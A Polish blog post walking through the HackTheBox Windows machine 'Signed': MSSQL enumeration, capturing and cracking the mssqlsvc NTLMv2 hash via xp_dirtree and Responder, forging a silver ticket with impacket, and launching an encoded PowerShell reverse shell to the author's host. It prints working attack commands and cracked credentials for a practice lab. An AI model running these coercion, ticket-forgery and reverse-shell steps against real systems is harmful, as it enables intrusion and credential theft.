Blog | Ravr

[PL] HackTheBox - Signed

htb

February 20, 2026

HTB machine logo

Signed


HTB

Os
Windows
Trudność
Średnia
Premiera
October 11, 2025
Punkty
30

HTB

Twórca
HTB - creator
User blood
HTB - userBlood
Root blood
HTB - rootBlood

Dane wejściowe

Na wstępie otrzymujemy dane uwierzytelniające (login scott i hasło Sm230#C5NatH), które możemy wykorzystać w usłudze mssql. Za HackTheBox:

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

Rekonesans

Nmap

Nmap znajduje tylko jeden otwarty port:

  • 1433 (mssql)
rvr@rvr$ nmap -sCV -oN nmap.initial 10.129.4.92
Nmap scan report for DC01.SIGNED.HTB (10.129.4.92)
Host is up (0.25s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2026-02-12T23:01:02+00:00; 0s from scanner time.
| ms-sql-info: 
|   10.129.4.92:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.129.4.92:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

rvr@rvr$ nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.4.92 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 00:09 CET
SYN Stealth Scan Timing: About 50.00% done; ETC: 00:21 (0:06:01 remaining)
Completed SYN Stealth Scan at 00:21, 696.32s elapsed (65535 total ports)
Nmap scan report for DC01.SIGNED.HTB (10.129.4.92)
Host is up (0.98s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE
1433/tcp open  ms-sql-s

TCP 1433

Zweryfikujmy credentiale przy pomocy netexec - narzędzia, które jest bardzo pomocne w pentestach sieci. Wybieramy oczywiście protokół mssql:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH'
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [-] SIGNED.HTB\scott:Sm230#C5NatH (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')

Błąd podpowiada, że łączymy się spoza zaufanej domeny, a podane dane logowania nie mogą być wykorzystane do uwierzytelnienia mechanizmem Windowsa. Musimy przełączyć się na tryb local-auth, aby wymusić uwierzytelnienie typowo SQLowe:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH

Bez zaskoczenia - uwierzytelnienie przebiegło pomyślnie. Dzięki temu poznaliśmy nazwę domeny: SIGNED.HTB. Możemy dodać ją do pliku /etc/hosts:

rvr@rvr$ sudo echo 10.129.4.92 signed.htb DCO1 DCO1.signed.htb > /etc/hosts

Enumeracja

Co teraz? Zostańmy jeszcze przy narzędziu nxc, gdyż zawiera wiele ciekawych modułów przydatnych w eksploitacji. Ich lista dla mssql przedstawia się następująco:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' -L
LOW PRIVILEGE MODULES
ENUMERATION
[*] enum_impersonate          Enumerate users with impersonation privileges
[*] enum_links                Enumerate linked SQL Servers and their login configurations.
[*] enum_logins               Enumerate SQL Server logins (SQL, Domain, Local users)
PRIVILEGE_ESCALATION
[*] enable_cmdshell           Enable or disable xp_cmdshell in MSSQL Server
[*] exec_on_link              Execute commands on a SQL Server linked server
[*] link_enable_cmdshell      Enable or disable xp_cmdshell on a linked MSSQL server
[*] link_xpcmd                Run xp_cmdshell commands on a linked SQL server
[*] mssql_coerce              Execute arbitrary SQL commands on the target MSSQL server
[*] mssql_priv                Enumerate and exploit MSSQL privileges

HIGH PRIVILEGE MODULES (requires admin privs)
ENUMERATION
[*] test_connection           Pings a host
CREDENTIAL_DUMPING
[*] nanodump                  Get lsass dump using nanodump and parse the result with pypykatz
PRIVILEGE_ESCALATION
[*] empire_exec               Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] met_inject                Downloads the Meterpreter stager and injects it into memory
[*] web_delivery              Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module

enum_impersonate

Moduł ten pozwala wyszukać użytkowników, pod których możemy się podszyć (“personifikować”). Personifikacja to możliwość wykonania akcji w imieniu innego użytkownika, w jego własnym kontekście bezpieczeństwa.

Niestety nie tym razem:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enum_impersonate
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH 
ENUM_IMP... 10.129.4.92  1433   DC01             [-] No users with impersonation rights found.

No users with impersonation rights found.

Następny moduł enum_links pozwala wyszukać serwery bazodanowe w obrębie domeny, które połączone są z naszym serwerem tzw. bezpiecznym kanałem. Dzięki temu moglibyśmy wykonywać zapytania, czy nawet komendy systemowe, na takim serwerze.

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enum_links
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH 
ENUM_LINKS  10.129.4.92  1433   DC01             [+] Linked servers found:
ENUM_LINKS  10.129.4.92  1433   DC01             [*]   - DC01

Widzimy DC01, czyli kontroler domeny. Jednak jest to ten sam serwer, który aktualnie testujemy (widać to w opowiedziach narzędzia nxc obok portu 1433). Możemy to potwierdzić także w ten sposób:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -q 'select @@servername'

MSSQL       10.129.4.92     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92     1433   DC01             [+] DC01\scott:Sm230#C5NatH 
MSSQL       10.129.4.92     1433   DC01             DC01

Wygląda więc na to, że enum_links w nxc nieco wprowadza w błąd wrzucając DC01 do listy serwerów połączonych.

W takiej sytuacji dobrze zweryfikować to wszystko w innym narzędziu, np. mssqlclient.py z biblioteki impacket, które oferuje analogiczne możliwości.

rvr@rvr$ mssqlclient.py 'signed.htb/scott:Sm230#[email protected]'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (scott  guest@master)> enum_links
SRV_NAME   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE   SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT
--------   ----------------   -----------   --------------   ------------------   ------------   -------
DC01       SQLNCLI            SQL Server    DC01             NULL                 NULL           NULL
Linked Server   Local Login   Is Self Mapping   Remote Login
-------------   -----------   ---------------   ------------

W Linked Server tym razem nie dostajemy żadnych danych. Zatem moduły exec_on_link, link_enable_cmdshell i link_xpcmd nie będą miały tu zastosowania - możemy na razie je pominąć.

enum_logins

Następny moduł enum_logins pozwala wylistować aktywnych użytkowników:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enum_logins
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH
ENUM_LOGINS 10.129.4.92  1433   DC01             [*] Enumerated logins
ENUM_LOGINS 10.129.4.92  1433   DC01             Login Name                          Type            Status
ENUM_LOGINS 10.129.4.92  1433   DC01             ----------                          ----            ------
ENUM_LOGINS 10.129.4.92  1433   DC01             sa                                  SQL User        ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             scott                               SQL User        ENABLED

Dostępni są:

  • sa (system administrator)
  • scott

enable_cmdshell

Co teraz? Możemy spróbować włączyć xp_cmdshell i przetestować wykonanie dowolnej komendy systemowej, np. whoami:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enable_cmdshell -o ACTION=enable
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH 
ENABLE_C... 10.129.4.92  1433   DC01             [+] xp_cmdshell successfully enabled.
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -x whoami
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH

Nic z tego! whoami nie zwraca żadnej odpowiedzi, co może być spowodowane brakiem odpowiednich uprawnienień. Ponownie potwierdźmy to w mssqlclient.py, gdyż pierwsza z powyższych komend zwróciła sukces:

xp_cmdshell successfully enabled.

rvr@rvr$ mssqlclient.py 'signed.htb/scott:Sm230#[email protected]'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (scott  guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.

Tu jest już dużo jaśniej:

User does not have permission to perform this action.

Dobrze jest od czasu do czasu weryfikować narzędzia, jeśli mamy taką alternatywę ;)

Przechwycenie hasha NTLMv2

Kolejną z możliwości może być przechwycenie hasha NTLMv2. Windows posiada mechanizm, który automatycznie wysyła dane uwierzytelniające (najczęściej w postaci hashy) w sytuacji, gdy ten próbuje połączyć się z usługą SMB/WebDAV. Jeśli taką usługę wystawimy na kontrolowanym przez nas hoście, możemy przechwycić taki hash i spróbować go złamać, by uzyskać hasło w wersji jawnej. Do tego celu służy m.in. Responder i nieudokumentowana procedura w sql server xp_dirtree, oryginalnie służąca do wylistowania zawartości katalogu. Często jest jednak nadużywana do połączenia z serwerem SMB i pozyskania hashy właśnie. Co ciekawe, jedno z pierwszych źródeł wskazuje na istnienie tej procedury już w wersji SQL Server z roku 2000.

Uruchamiamy więc respondera:

rvr@rvr$ sudo responder -I tun0
[sudo] password for rvr:
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

...[snip]...

I wysyłamy żądanie z mssqla do naszego hosta:

rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -q 'EXEC master..xp_dirtree "\\10.10.15.26\share"'
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] DC01\scott:Sm230#C5NatH

Po chwili, powinniśmy zobaczyć hash NTLMv2 oraz nazwę użytkownika w oknie respondera:

[SMB] NTLMv2-SSP Client   : 10.129.4.92
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:0703e953a514a9ea:8E971EDCB7FC2B606E871F9C3471CE38:0101000000000000803B32AC833BDC016F0BC3931083976D00000000020008004D00320034004B0001001E00570049004E002D005700480052004700350054005500320052004200540004003400570049004E002D00570048005200470035005400550032005200420054002E004D00320034004B002E004C004F00430041004C00030014004D00320034004B002E004C004F00430041004C00050014004D00320034004B002E004C004F00430041004C0007000800803B32AC833BDC01060004000200000008003000300000000000000000000000003000005FECCE3E6B2BA0234C33308EDE19E356B3D5D0AFCCD4685C493329E39175F7270A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360031000000000000000000

Spróbujmy go teraz złamać wrzucając go do hashacata z listą rockyou.txt:

rvr@rvr$ hashcat.bin hash-mssqlsvc-ntlmv2.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode

...[snip]...

5600 | NetNTLMv2 | Network Protocol

...[snip]...

MSSQLSVC::SIGNED:0703e953a514a9ea:8e971edcb7fc2b606e871f9c3471ce38:0101000000000000803b32ac833bdc016f0bc3931083976d00000000020008004d00320034004b0001001e00570049004e002d005700480052004700350054005500320052004200540004003400570049004e002d00570048005200470035005400550032005200420054002e004d00320034004b002e004c004f00430041004c00030014004d00320034004b002e004c004f00430041004c00050014004d00320034004b002e004c004f00430041004c0007000800803b32ac833bdc01060004000200000008003000300000000000000000000000003000005fecce3e6b2ba0234c33308ede19e356b3d5d0afccd4685c493329e39175f7270a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100360031000000000000000000:purPLE9795!@

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MSSQLSVC::SIGNED:0703e953a514a9ea:8e971edcb7fc2b606...000000
...[snip]...

Hasło złamane! Mamy credentiale konta serwisowego mssql:

  • mssqlsvc:purPLE9795!@

Tym razem nie potrzebujemy już opcji --local-auth, gdyż mssqlsvc jest członkiem domeny signed.htb i do zalogowania możemy wykorzystać uwierzytelnienie Windowsa (w przeciwnym wypadku zobaczylibyśmy błąd uwierzytelnienia).

rvr@rvr$ nxc mssql 10.129.4.92 -u MSSQLSVC -p 'purPLE9795!@'
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] SIGNED.HTB\MSSQLSVC:purPLE9795!@

Użytkownik mssqlsvc

Możemy teraz ponownie uruchomić nxc i jego moduły wykorzystując nowe konto. Jeśli jednak pominiemy wszystkie te, które zwracają odpowiedzi identyczne jak wcześniej, zostanie nam tylko jeden moduł - enum_logins:

rvr@rvr$ nxc mssql 10.129.4.92 -u MSSQLSVC -p 'purPLE9795!@' -M enum_logins
MSSQL       10.129.4.92  1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.4.92  1433   DC01             [+] SIGNED.HTB\MSSQLSVC:purPLE9795!@
ENUM_LOGINS 10.129.4.92  1433   DC01             [*] Enumerated logins
ENUM_LOGINS 10.129.4.92  1433   DC01             Login Name                          Type            Status
ENUM_LOGINS 10.129.4.92  1433   DC01             ----------                          ----            ------
ENUM_LOGINS 10.129.4.92  1433   DC01             NT AUTHORITY\SYSTEM                 Local User      ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             NT SERVICE\MSSQLSERVER              Local User      ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             NT SERVICE\SQLSERVERAGENT           Local User      ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             NT SERVICE\SQLTELEMETRY             Local User      ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             NT SERVICE\SQLWriter                Local User      ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             NT SERVICE\Winmgmt                  Local User      ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             sa                                  SQL User        ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             scott                               SQL User        ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             SIGNED\Domain Users                 Windows Group   ENABLED
ENUM_LOGINS 10.129.4.92  1433   DC01             SIGNED\IT                           Windows Group   ENABLED

Dzięki dostępowi do domeny, widzimy więcej kont i grup użytkowników.

Atak silver ticket

Jeśli posiadamy konto serwisowe (1) oraz hash NT (2), możemy wygenerować ticket, którym później uwierzytelnimy się przed Kerberosem. Hash NT możemy uzyskać poprzez złamanie hasha NTLMv1 lub NTLMv2. Co za tym idzie, zarówno (1), jak i (2) warunek mamy spełniony. Atak ten nazywa się silver ticket, a uzyskany w nim bilet daje możliowść ataku pass-the-ticket, który często otwiera dostęp do dużo większej liczby zasobów.

Jak wygenerować taki ticket? Do tego celu wykorzystamy skrypt ticketer.py z repozytorium impacket, które zawiera wiele przydatych skryptów napisanych w pythonie. Ułatwiają one interakcje z wieloma usługami sieciowymi. Wszystkie wymagane parametry możemy podejrzeć w pomocy tego narzędzia albo np. na tej stronie.

Wyglądają one następująco:

python ticketer.py 
    -nthash "$NT_HASH" 
    -domain-sid "$DomainSID" 
    -domain "$DOMAIN" 
    -spn "$SPN" 
    "username"

Zajmijmy się najpierw hashem NT. Przechowywany jest on w postaci hasha md4 z hasła. Ważne jest również odpowiednie kodowanie - hasło powinno być przekonwertowane do utf16-le, gdyż windows natywnie operuje właśnie na tym rodzaju kodowania znaków. Pełna komenda to:

rvr@rvr$ echo -n 'purPLE9795!@' | iconv -t UTF-16LE | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

Następnie potrzebujemy tzw. domain sid, dla którego będzie wygenerowany ticket.

W repozytorium impacket dostępne jest ciekawe narzędzie o nazwie lookupsid.py. Jak wskazuje nazwa, pozwala ono na enumerację wartości domain sid. Niestety, ponieważ nie mamy dostępnego portu smb, nie możemy go tutaj użyć.

W tym celu ponownie przenieśmy się do narzędzia mssqlclient.py, gdyż w porównaniu do nxc potrafi zwrócić więcej przydatnych informacji (musimy dodać opcję -windows-auth, ponieważ jest to konto należace do domeny):

rvr@rvr$ mssqlclient.py -windows-auth 'signed.htb/MSSQLSVC:purPLE9795!@@10.129.4.92'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  guest@master)>

Po zalogowaniu ukazuje się nam konto z uprawnieniami gościa, nie zrobimy więc wiele.

Następnie po uruchomieniu funkcji enum_logins widzimy:

SQL (SIGNED\mssqlsvc  guest@master)> enum_logins
name                                type_desc       is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin 
---------------------------------   -------------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   --------- 
sa                                  SQL_LOGIN                 0          1               0             0            0              0           0           0           0 
##MS_PolicyEventProcessingLogin##   SQL_LOGIN                 1          0               0             0            0              0           0           0           0 
##MS_PolicyTsqlExecutionLogin##     SQL_LOGIN                 1          0               0             0            0              0           0           0           0 
SIGNED\IT                           WINDOWS_GROUP             0          1               0             0            0              0           0           0           0 
NT SERVICE\SQLWriter                WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0 
NT SERVICE\Winmgmt                  WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0 
NT SERVICE\MSSQLSERVER              WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0 
NT AUTHORITY\SYSTEM                 WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0 
NT SERVICE\SQLSERVERAGENT           WINDOWS_LOGIN             0          1               0             0            0              0           0           0           0 
NT SERVICE\SQLTELEMETRY             WINDOWS_LOGIN             0          0               0             0            0              0           0           0           0 
scott                               SQL_LOGIN                 0          0               0             0            0              0           0           0           0 
SIGNED\Domain Users                 WINDOWS_GROUP             0          0               0             0            0              0           0           0           0 

Część użytkowników i grup ma uprawnienia sysadmin. Skupimy się na grupie SIGNED\IT, gdyż oprócz uprawnień administratora, jest to też grupa niestandardowa. Aby pobrać jej domain sid musimy wykonać zapytanie:

SQL (SIGNED\mssqlsvc  guest@master)> select suser_sid('signed\it');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'

Jednak to nie wszystko: sid jest w wersji binarnej. Na szczęscie poniższy skrypt ze stackoverflow.com pozwala przerobić go na wartość tekstową:

# Source - https://stackoverflow.com/a/52825313
# Posted by Diego Queiroz
# Retrieved 2026-02-06, License - CC BY-SA 4.0

import struct

def convert(binary):
    version = struct.unpack('B', binary[0:1])[0]
    # I do not know how to treat version != 1 (it does not exist yet)
    assert version == 1, version
    length = struct.unpack('B', binary[1:2])[0]
    authority = struct.unpack(b'>Q', b'\x00\x00' + binary[2:8])[0]
    string = 'S-%d-%d' % (version, authority)
    binary = binary[8:]
    assert len(binary) == 4 * length
    for i in range(length):
        value = struct.unpack('<L', binary[4*i:4*(i+1)])[0]
        string += '-%d' % value
    return string


print(convert(bytes.fromhex('0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'))) # S-1-5-21-4088429403-1159899800-2753317549-1105

Potrzebujemy jeszcze wartość SPN (Service Principal Name). Na tej stronie możemy zobaczyć format jego zapisu. Prawdopodobne wydają się więc dwie wartości:

  • mssqlsvc/signed.htb
  • mssqlsvc/dc01.signed.htb - ten drugi odnosi się do kontrolera domeny

Istotne jest też wyekstraktowanie grupy z tekstowej wartości sid (jest to część po ostatnim myślniku, tj. 1105). Jeśli tego nie zrobimy, ticketer.py użyje typowych wartości dla znanego użytkownika. Możemy to sprawdzić np. generując ticket bez jawnie podanej grupy (ostatni parametr username może być dowolony):

rvr@rvr$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/dc01.signed.htb silver_ticker
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/silver_ticker
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in silver_ticker.ccache

Wygenerowany ticket przekazujemy poprzez zmienną środowiskową KRB5CCNAME, która wraz z opcją -k mówi mssqlclient.py o sposobie uwierzytelnienia:

rvr@rvr$ KRB5CCNAME=silver_ticker.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator  guest@master)> 

Zostaliśmy przypisani do konta SIGNED\Administrator, jednak jego uprawnienia w mssql wskazują jedynie na konto gościa (guest@master), a to nic nam nie da.

Z tego powodu musimy jawnie naprowadzić ticketer.py, jaką grupę ma zawrzeć w tickecie (1105).

rvr@rvr$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/dc01.signed.htb -groups 1105 silver_ticker

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/silver_ticker
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in silver_ticker.ccache

Tym razem po zalogowaniu w mysqlclient.py widzimy już uprawnienia administratora (dbo@master):

rvr@rvr$ KRB5CCNAME=silver_ticker.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator  dbo@master)> 

Możemy ponownie zastosować atak pass-the-ticket i sprawdzić czy podwyższone uprawnienia dają możliwość wykonania komendy systemowej:

rvr@rvr$ KRB5CCNAME=silver_ticker.ccache nxc mssql signed.htb -k --use-kcache -x whoami
MSSQL       signed.htb      1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       signed.htb      1433   DC01             [+] SIGNED.HTB\silver_ticker from ccache (Pwn3d!)
MSSQL       signed.htb      1433   DC01             [+] Executed command via mssqlexec
MSSQL       signed.htb      1433   DC01             signed\mssqlsvc

Działa. Czas na reverse shell w powershellu, który wygenerujemy np. na tej stronie:

rvr@rvr$ KRB5CCNAME=silver_ticker.ccache nxc mssql signed.htb -k --use-kcache -x 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...'
rvr@rvr$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.4.92] 58814

PS C:\Windows\system32> whoami
signed\mssqlsvc

Shell jako mssqlsvc

Możemy teraz odczytać flagę user.txt znajdującą się w katalogu domowym użytkownika mssqlsvc:

PS C:\Windows\system32> ls C:\Users\mssqlsvc\Desktop


    Directory: C:\Users\mssqlsvc\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        2/19/2026   3:24 AM             34 user.txt


PS C:\Windows\system32> cat C:\Users\mssqlsvc\Desktop\user.txt
8911ea**************************

Enumeracja

Następny krok to znalezienie ścieżki eskalacji uprawnień. Typowe lokalizacje, czy uprawnienia użytkownika nie wskazują na nic istotnego:

PS C:\Windows\system32> whoami /all

USER INFORMATION
----------------

User Name       SID
=============== ==============================================
signed\mssqlsvc S-1-5-21-4088429403-1159899800-2753317549-1103


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                                             Attributes                                   
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER                     Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                                 


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State
============================= ================================== ========
